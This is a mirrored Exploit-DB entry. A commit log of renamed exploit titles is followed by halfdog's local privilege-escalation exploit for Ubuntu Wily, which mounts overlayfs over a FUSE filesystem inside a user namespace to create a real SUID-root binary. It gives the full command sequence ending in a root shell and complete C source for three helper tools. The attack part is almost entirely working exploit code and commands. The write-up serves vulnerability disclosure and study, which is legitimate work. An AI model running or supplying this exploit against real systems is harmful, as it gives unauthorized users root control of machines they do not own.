exploit-db-mirror/platforms/linux/local/41763.txt
Offensive Security 6d17bc529d DB: 2017-03-31
4 new exploits

dBpowerAMP Audio Player Release 2 - '.m3u' Buffer Overflow (PoC)
dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow (PoC)

Spider Solitaire -  Denial of Service (PoC)
Spider Solitaire - Denial of Service (PoC)

Baby FTP Server 1.24 - Denial of Service
Baby FTP Server 1.24 - Denial of Service (1)

Baby FTP server 1.24 - Denial of Service
Baby FTP server 1.24 - Denial of Service (2)

Google Android -  Unprotected MSRs in EL1 RKP Privilege Escalation
Google Android - Unprotected MSRs in EL1 RKP Privilege Escalation

Evostream Media Server 1.7.1  (x64) - Denial of Service
Evostream Media Server 1.7.1 (x64) - Denial of Service

Cerberus FTP Server  8.0.10.1 - Denial of Service
Cerberus FTP Server 8.0.10.1 - Denial of Service

Apple macOS/IOS 10.12.2(16C67) - mach_msg Heap Overflow

Apache < 2.0.64  / < 2.2.21 mod_setenvif - Integer Overflow
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow

Solaris 10 sysinfo() - Local Kernel Memory Disclosure
Solaris 10 sysinfo() - Local Kernel Memory Disclosure (1)

Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure
Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)

Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (Metasploit)
Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (Metasploit) (1)
Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) -  (Sendmail) Capabilities Privilege Escalation(1)
Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) -  (Sendmail 8.10.1) Capabilities Privilege Escalation (2)
Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - (Sendmail) Capabilities Privilege Escalation(1)
Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - (Sendmail 8.10.1) Capabilities Privilege Escalation (2)

Linux Kernel 3.13 -  (SGID) Privilege Escalation (PoC)
Linux Kernel 3.13 - (SGID) Privilege Escalation (PoC)

Linux espfix64 -  (Nested NMIs Interrupting) Privilege Escalation
Linux espfix64 - (Nested NMIs Interrupting) Privilege Escalation
Microsoft Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux (2) (MS16-008)
Microsoft Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux (1) (MS16-008)
Microsoft Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux (MS16-008) (2)
Microsoft Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux (MS16-008) (1)
Forticlient 5.2.3 Windows 10 x64 (Pre Anniversary) - Privilege Escalation
Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation
Forticlient 5.2.3 (Windows 10 x64 Pre Anniversary) - Privilege Escalation
Forticlient 5.2.3 (Windows 10 x64 Post Anniversary) - Privilege Escalation

Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via UserNamespace Privilege Escalation
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation

Ubuntu 15.04 (Dev) - 'Upstart' Logrotation Privilege Escalation
Ubuntu 15.04 (Development) - 'Upstart' Logrotation Privilege Escalation

Linux Kernel 2.6.32 (Ubuntu 10.04) - /proc Handling SUID Privilege Escalation

Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065)
Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065) (1)

Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065)
Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065) (2)

Yahoo! Music Jukebox 2.2 - AddImage() ActiveX Remote Buffer Overflow (1)
Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (1)

dBpowerAMP Audio Player Release 2 - '.m3u' Buffer Overflow
dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow

Apache Tomcat < 6.0.18 - utf8 Directory Traversal (1)
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)

Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray Exploit (1)
Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray (1)

Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray
Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray (2)

EasyFTP Server 1.7.0.2 - Authenticated Buffer Overflow
EasyFTP Server 1.7.0.2 - Authenticated Buffer Overflow (1)

Apache Tomcat < 6.0.18 - utf8 Directory Traversal (2)
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal

Trend Micro Internet Security Pro 2010 - ActiveX extSetOwner() Remote Code Execution (Metasploit)
Trend Micro Internet Security Pro 2010 - ActiveX extSetOwner() Remote Code Execution (Metasploit) (2)

Samba 2.2.2 < 2.2.6 - nttrans Buffer Overflow (Metasploit)
Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit) (2)

EasyFTP Server 1.7.0.2 - Authenticated Buffer Overflow
EasyFTP Server 1.7.0.2 - Authenticated Buffer Overflow (2)

Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit)
Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (1)

Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit)
Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (2)

D-Link Devices - Unauthenticated Remote Command Execution (Metasploit) (2)
D-Link Devices - 'command.php' Unauthenticated Remote Command Execution (Metasploit)

D-Link Devices - Unauthenticated Remote Command Execution (Metasploit) (1)
D-Link Devices - 'tools_vct.xgi' Unauthenticated Remote Command Execution (Metasploit)

Azure Data Expert Ultimate  2.2.16 - Buffer Overflow
Azure Data Expert Ultimate 2.2.16 - Buffer Overflow

Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit)
Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit) (1)

Article Script 1.6.3 - 'rss.php' SQL Injection (1)
Article Script 1.6.3 - 'rss.php' SQL Injection

DBHcms 1.1.4 - Remote File Inclusion
DBHcms 1.1.4 - 'code' Remote File Inclusion

LaserNet CMS 1.5 - SQL Injection (2)
LaserNet CMS 1.5 - SQL Injection

Clever Copy 3.0 - 'postview.php' SQL Injection (1)
Clever Copy 3.0 - 'postview.php' SQL Injection

phpAuction - 'profile.php' SQL Injection
phpAuction - 'profile.php' SQL Injection (1)

Arctic Issue Tracker 2.0.0 - 'filter' Parameter SQL Injection
Arctic Issue Tracker 2.0.0 - 'filter' Parameter SQL Injection (1)

Arctic Issue Tracker 2.0.0 - 'filter' Parameter SQL Injection
Arctic Issue Tracker 2.0.0 - 'filter' Parameter SQL Injection (2)

Matterdaddy Market 1.1 - Multiple SQL Injections (1)
Matterdaddy Market 1.1 - 'index.php' Multiple SQL Injections

PHPWebGallery 1.3.4 - Blind SQL Injection
PHPWebGallery 1.3.4 - Blind SQL Injection (1)

PHPWebGallery 1.3.4 - Blind SQL Injection
PHPWebGallery 1.3.4 - Blind SQL Injection (2)

Zeeways Shaadi Clone 2.0 - Authentication Bypass
Zeeways Shaadi Clone 2.0 - Authentication Bypass (1)

Portili Personal and Team Wiki 1.14 - Multiple Vulnerabilities
Portili Personal and Team Wiki 1.14 - Multiple Vulnerabilities (1)

DBHcms 1.1.4 - Remote File Inclusion
DBHcms 1.1.4 - 'dbhcms_core_dir' Remote File Inclusion

E-book Store - Multiple Vulnerabilities (1)

Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion
Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion (1)

E-book Store - Multiple Vulnerabilities (2)
E-book Store - Multiple Vulnerabilities

Classifieds Script - SQL Injection
Classifieds Script - 'rate' SQL Injection

Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion
Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion (2)

DBHcms 1.1.4 - SQL Injection
DBHcms 1.1.4 - 'dbhcms_pid' SQL Injection

LaserNet CMS 1.5 - SQL Injection (1)

Alan Ward A-CART 2.0 - category.asp catcode Parameter SQL Injection
Alan Ward A-CART 2.0 - category.asp catcode Parameter SQL Injection (2)

Article Script 1.6.3 - 'rss.php' SQL Injection (2)

Alan Ward A-CART 2.0 - category.asp catcode Parameter SQL Injection
Alan Ward A-CART 2.0 - category.asp catcode Parameter SQL Injection (1)

Openads (PHPAdsNew) <  2.0.8 - 'lib-remotehost.inc.php' Remote File Inclusion
Openads (PHPAdsNew) < 2.0.8 - 'lib-remotehost.inc.php' Remote File Inclusion

LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting
LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting (1)

LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting
LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting (2)
Fonality trixbox 2.4.2 - Cross-Site Scripting
Fonality trixbox 2.4.2 - Cross-Site Scripting (1)
Fonality trixbox 2.4.2 - Cross-Site Scripting (2)

Clever Copy 3.0 - 'postview.php' SQL Injection (2)

phpAuction - 'profile.php' SQL Injection
phpAuction - 'profile.php' SQL Injection (2)

Zeeways Shaadi Clone 2.0 - Authentication Bypass
Zeeways Shaadi Clone 2.0 - Authentication Bypass (2)

DBHcms 1.1.4 - 'dbhcms_core_dir' Parameter Remote File Inclusion

Portili Personal and Team Wiki 1.14 - Multiple Vulnerabilities
Portili Personal and Team Wiki 1.14 - Multiple Vulnerabilities (2)

Matterdaddy Market 1.1 - Multiple SQL Injections (2)
Matterdaddy Market 1.1 - 'cat_name' Multiple SQL Injections

WordPress Plugin WP Private Messages 1.0.1 - SQL Injection
WordPress Plugin WP Private Messages 1.0.1 - SQL Injection (1)

Huawei Flybox B660 - Cross-Site Request Forgery
Huawei Flybox B660 - Cross-Site Request Forgery (1)

Huawei Flybox B660 - Cross-Site Request Forgery
Huawei Flybox B660 - Cross-Site Request Forgery (2)

Classifieds Script - SQL Injection
Classifieds Script - 'term' SQL Injection

WordPress Plugin WP Private Messages 1.0.1 - SQL Injection
WordPress Plugin WP Private Messages 1.0.1 - SQL Injection (2)
2017-03-31 05:01:16 +00:00

527 lines
No EOL
15 KiB
Text
Executable file
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of mnt/file: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---